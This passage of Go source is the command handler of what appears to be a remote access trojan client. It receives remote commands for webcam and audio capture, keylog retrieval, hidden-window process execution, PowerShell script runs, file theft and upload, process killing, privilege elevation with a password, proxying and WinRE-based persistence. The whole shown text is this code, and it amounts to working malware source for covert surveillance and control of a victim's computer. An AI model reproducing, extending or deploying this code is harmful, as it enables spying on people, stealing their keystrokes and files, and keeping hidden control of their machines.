if v, ok := payload["codec"].(string); ok {
codec = v
}
}
if quality < 0 {
quality = 0
}
if quality > 100 {
quality = 100
}
switch codec {
case "jpeg", "h264":
// valid
default:
codec = "jpeg"
}
env.WebcamQuality = quality
env.WebcamCodec = codec
log.Printf("webcam: set quality=%d codec=%s", quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_stop":
env.WebcamMu.Lock()
log.Printf("webcam: stop requested")
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "console_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
if sessionID == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
}
if err := env.Console.Start(ctx, runtime.ConsoleStartRequest{SessionID: sessionID, Cols: cols, Rows: rows}); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
return nil
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_input":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
data, _ := envelopePayloadString(envelope, "data")
if sessionID != "" && data != "" {
_ = env.Console.Write(ctx, sessionID, data)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_stop":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
if sessionID != "" {
env.Console.Stop(sessionID)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_resize":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
if sessionID != "" {
_ = env.Console.Resize(sessionID, cols, rows)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_session_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
source := "default"
payload, _ := envelope["payload"].(map[string]interface{})
if payload != nil {
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
source = strings.TrimSpace(v)
}
}
if err := startVoiceSession(ctx, env, sessionID, source); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_session_stop":
stopVoiceSession()
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_downlink":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
}
data, _ := payload["data"].([]byte)
if err := writeVoiceDownlink(data); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_capabilities":
caps := audio.ProbeCapabilities()
payload, _ := json.Marshal(caps)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
case "client_logs_request":
payload := payloadAsMap(envelope["payload"])
sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"]))
limit := int(payloadNumberToInt64(payload["limit"]))
snap := securelog.SnapshotLogs(sinceSeq, limit)
entries := make([]wire.ClientLogEntry, 0, len(snap.Entries))
for _, entry := range snap.Entries {
entries = append(entries, wire.ClientLogEntry{
Seq: entry.Seq,
At: entry.At,
Source: entry.Source,
Blob: entry.Blob,
})
}
return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{
Type: "client_logs_result",
CommandID: cmdID,
OK: snap.Enabled && snap.Error == "",
Entries: entries,
Dropped: snap.Dropped,
FromSeq: snap.FromSeq,
ToSeq: snap.ToSeq,
Enabled: snap.Enabled,
Error: snap.Error,
})
case "desktop_audio_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
source := "system"
payload, _ := envelope["payload"].(map[string]interface{})
if payload != nil {
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
source = strings.TrimSpace(v)
}
}
if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "desktop_audio_stop":
stopDesktopAudioSession()
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
}
switch action {
case "file_list":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileList(ctx, env, cmdID, path)
case "file_request_access":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileRequestAccess(ctx, env, cmdID, path)
case "file_download":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileDownload(ctx, env, cmdID, path)
case "file_upload":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
offset := payloadNumberToInt64(payload["offset"])
total := payloadNumberToInt64(payload["total"])
transferID, _ := payload["transferId"].(string)
data := []byte{}
if d, ok := payload["data"].([]byte); ok {
data = d
}
return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID)
case "file_upload_http":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
sourceURL, _ := payload["url"].(string)
total := payloadNumberToInt64(payload["total"])
return HandleFileUploadHTTP(ctx, env, cmdID, path, sourceURL, total)
case "file_delete":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileDelete(ctx, env, cmdID, path)
case "file_mkdir":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileMkdir(ctx, env, cmdID, path)
case "file_zip":
path, _ := envelopePayloadString(envelope, "path")
zipCtx, cancel := context.WithCancel(ctx)
registerCancellableCommand(cmdID, cancel)
goSafe("file_zip", env.Cancel, func() {
defer unregisterCommand(cmdID)
if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled {
log.Printf("file_zip error: %v", err)
}
})
return nil
case "file_read":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
maxSize := int64(0)
if ms, ok := payload["maxSize"].(float64); ok {
maxSize = int64(ms)
}
return HandleFileRead(ctx, env, cmdID, path, maxSize)
case "file_write":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
content, _ := payload["content"].(string)
return HandleFileWrite(ctx, env, cmdID, path, content)
case "file_search":
payload, _ := envelope["payload"].(map[string]interface{})
searchID, _ := payload["searchId"].(string)
basePath, _ := payload["path"].(string)
pattern, _ := payload["pattern"].(string)
searchContent := false
if sc, ok := payload["searchContent"].(bool); ok {
searchContent = sc
}
maxResults := 0
if mr, ok := payload["maxResults"].(float64); ok {
maxResults = int(mr)
}
return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults)
case "file_copy":
payload, _ := envelope["payload"].(map[string]interface{})
source, _ := payload["source"].(string)
dest, _ := payload["dest"].(string)
return HandleFileCopy(ctx, env, cmdID, source, dest)
case "file_move":
payload, _ := envelope["payload"].(map[string]interface{})
source, _ := payload["source"].(string)
dest, _ := payload["dest"].(string)
return HandleFileMove(ctx, env, cmdID, source, dest)
case "file_chmod":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
mode, _ := payload["mode"].(string)
return HandleFileChmod(ctx, env, cmdID, path, mode)
case "file_execute":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
return HandleFileExecute(ctx, env, cmdID, path)
case "file_icon":
payload, _ := envelope["payload"].(map[string]interface{})
items := parseIconRequestItems(payload["items"])
goSafe("file_icon", env.Cancel, func() {
if err := HandleFileIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled {
log.Printf("file_icon error: %v", err)
}
})
return nil
case "file_thumb":
payload, _ := envelope["payload"].(map[string]interface{})
items := parseThumbRequestItems(payload["items"])
goSafe("file_thumb", env.Cancel, func() {
if err := HandleFileThumbnail(ctx, env, cmdID, items); err != nil && err != context.Canceled {
log.Printf("file_thumb error: %v", err)
}
})
return nil
case "file_dirsize":
path, _ := envelopePayloadString(envelope, "path")
dirsizeCtx, cancel := context.WithCancel(ctx)
registerCancellableCommand(cmdID, cancel)
goSafe("file_dirsize", env.Cancel, func() {
defer unregisterCommand(cmdID)
if err := HandleFolderSize(dirsizeCtx, env, cmdID, path); err != nil && err != context.Canceled {
log.Printf("file_dirsize error: %v", err)
}
})
return nil
case "file_peek":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
bytesToRead := 0
if v, ok := payloadInt(payload, "bytes"); ok {
bytesToRead = v
}
goSafe("file_peek", env.Cancel, func() {
if err := HandleFilePeek(ctx, env, cmdID, path, bytesToRead); err != nil && err != context.Canceled {
log.Printf("file_peek error: %v", err)
}
})
return nil
case "file_hash":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
algorithm, _ := payload["algorithm"].(string)
hashCtx, cancel := context.WithCancel(ctx)
registerCancellableCommand(cmdID, cancel)
goSafe("file_hash", env.Cancel, func() {
defer unregisterCommand(cmdID)
select {
case fileHashSlots <- struct{}{}:
defer func() { <-fileHashSlots }()
case <-hashCtx.Done():
return
}
if err := HandleFileHash(hashCtx, env, cmdID, path, algorithm); err != nil && err != context.Canceled {
log.Printf("file_hash error: %v", err)
}
})
return nil
case "agent_update":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
hash, _ := payload["hash"].(string)
hideWindow, _ := payload["hideWindow"].(bool)
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
case "process_list":
return HandleProcessList(ctx, env, cmdID)
case "process_icon":
payload, _ := envelope["payload"].(map[string]interface{})
items := parseIconRequestItems(payload["items"])
goSafe("process_icon", env.Cancel, func() {
if err := HandleProcessIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled {
log.Printf("process_icon error: %v", err)
}
})
return nil
case "process_kill":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
pid := int32(0)
if p, ok := payload["pid"].(float64); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(string); ok {
if parsed, err := strconv.Atoi(p); err == nil {
pid = int32(parsed)
}
}
if p, ok := payload["pid"].(uint16); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint8); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint32); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(int32); ok {
pid = p
}
if p, ok := payload["pid"].(int64); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
pid = int32(p)
}
return HandleProcessKill(ctx, env, cmdID, pid)
case "process_suspend":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
suspendPid := int32(0)
if p, ok := payload["pid"].(float64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(int64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
suspendPid = int32(p)
}
return HandleProcessSuspend(ctx, env, cmdID, suspendPid)
case "process_resume":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
resumePid := int32(0)
if p, ok := payload["pid"].(float64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(int64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
resumePid = int32(p)
}
return HandleProcessResume(ctx, env, cmdID, resumePid)
case "keylog_request_permission":
return HandleKeylogRequestPermission(ctx, env, cmdID)
case "darwin_request_permissions":
payload, _ := envelope["payload"].(map[string]interface{})
var requested []string
refreshOnly, _ := payload["refreshOnly"].(bool)
if raw, ok := payload["permissions"].([]interface{}); ok {
for _, item := range raw {
if key, ok := item.(string); ok && key != "" {
requested = append(requested, key)
}
}
}
perms := sysinfo.DarwinPermissionsRefresh()
if !refreshOnly {
perms = sysinfo.RequestDarwinPermissions(requested)
}
missing := make([]string, 0)
keys := []string{"accessibility", "screenRecording", "fullDiskAccess"}
if !refreshOnly {
keys = append(keys, "inputMonitoring")
}
for _, key := range keys {
if perms == nil || !perms[key] {
missing = append(missing, key)
}
}
detail, _ := json.Marshal(map[string]interface{}{
"permissions": perms,
"missing": missing,
})
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: len(missing) == 0,
Message: string(detail),
})
case "keylog_list":
return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve":
payload, _ := envelope["payload"].(map[string]interface{})
filename, _ := payload["filename"].(string)
return HandleKeylogRetrieve(ctx, env, cmdID, filename)
case "keylog_clear_all":
return HandleKeylogClearAll(ctx, env, cmdID)
case "keylog_delete":
payload, _ := envelope["payload"].(map[string]interface{})
filename, _ := payload["filename"].(string)
return HandleKeylogDelete(ctx, env, cmdID, filename)
case "script_exec":
payload, _ := envelope["payload"].(map[string]interface{})
scriptContent, _ := payload["script"].(string)
scriptType, _ := payload["type"].(string)
if scriptType == "" {
scriptType = "powershell"
}
StartScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
return nil
case "silent_exec":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
command, _ := payload["command"].(string)
command = strings.TrimSpace(command)
if len(command) >= 2 {
if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') {
command = command[1 : len(command)-1]
}
}
argsRaw, _ := payload["args"].(string)
hideWindow := true
if v, ok := payload["hideWindow"].(bool); ok {
hideWindow = v
}
cwd, _ := payload["cwd"].(string)
if command == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"})
}
args := parseCommandArgs(argsRaw)
if err := startSilentProcess(command, args, cwd, hideWindow); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_install":
payload := payloadAsMap(envelope["payload"])
useSelf := false
if v, ok := payload["useSelf"].(bool); ok {
useSelf = v
}
filePath, _ := payload["filePath"].(string)
if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_probe":
if !WinRESupported() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "WinRE persistence is not enabled on this client"})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "winre_uninstall":
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "privacy_start":
payload, _ := envelope["payload"].(map[string]interface{})
_ = handlePrivacyStart(ctx, env, cmdID, payload)
return nil
case "privacy_stop":
_ = handlePrivacyStop(ctx, env, cmdID)
return nil
case "privacy_status":
_ = handlePrivacyStatus(ctx, env, cmdID)
return nil
case "uninstall":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
if err := removePersistence(); err != nil {
log.Printf("uninstall: failed to remove persistence: %v", err)
}
criticalproc.Teardown()
os.Exit(0)
case "disconnect":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
resetForReconnect(env)
criticalproc.Teardown()
os.Exit(0)
return nil
case "reconnect":
resetForReconnect(env)
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
return ErrReconnect
case "elevate":
payload, _ := envelope["payload"].(map[string]interface{})
password, _ := payload["password"].(string)
return HandleElevate(ctx, env, cmdID, password)
case "proxy_connect":
payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyConnect(ctx, env, cmdID, payload)
case "proxy_data":
payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyData(ctx, env, cmdID, payload)
case "proxy_close":
return HandleProxyClose(ctx, env, cmdID)
default:
log.Printf("command: unknown action=%s", action)
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
return wire.WriteMsg(ctx, env.Conn, res)
}
return nil
}
func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) {
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return "", false
}
val, _ := payload[key].(string)
return val, val != ""
}
func envelopePayloadInts(envelope map[string]interface{}) (int, int) {
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return 0, 0
}
cols, _ := payload["cols"].(int)
rows, _ := payload["rows"].(int)
if cols == 0 {
if f, ok := payload["cols"].(float64); ok {
cols = int(f)
}
if i, ok := payload["cols"].(int64); ok {
cols = int(i)
}
}
if rows == 0 {
if f, ok := payload["rows"].(float64); ok {
rows = int(f)
}
if i, ok := payload["rows"].(int64); ok {
rows = int(i)
}
}
if cols == 0 {
cols = 120
}
if rows == 0 {
rows = 36
}
return cols, rows
}
func toInt(v interface{}) int {
if v == nil {
return 0
}
if i, ok := v.(int); ok {
return i
}
if i, ok := v.(int8); ok {
return int(i)
}
if i, ok := v.(int16); ok {
return int(i)
}
if i, ok := v.(int32); ok {
return int(i)
}
if i, ok := v.(int64); ok {
return int(i)
}
if i, ok := v.(uint8); ok {
return int(i)
}
if i, ok := v.(uint16); ok {
return int(i)
}
if i, ok := v.(uint32); ok {
return int(i)
}
if i, ok := v.(uint64); ok {
return int(i)
}
if f, ok := v.(float64); ok {
return int(f)
}
return 0
}
func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
if goruntime.GOOS != "windows" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false,
Message: "privacy mode is only supported on Windows",
})
}
if privacy.IsEnabled() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
Message: "privacy mode already active",
})
}
if err := privacy.Start(); err != nil {
log.Printf("privacy: start failed: %v", err)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false,
Message: err.Error(),
})
}
log.Printf("privacy: mode enabled")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
}
func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
privacy.Stop()
log.Printf("privacy: mode disabled")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
}
func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error {
enabled := privacy.IsEnabled()
return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{
Type: "privacy_status", Enabled: enabled,
})
}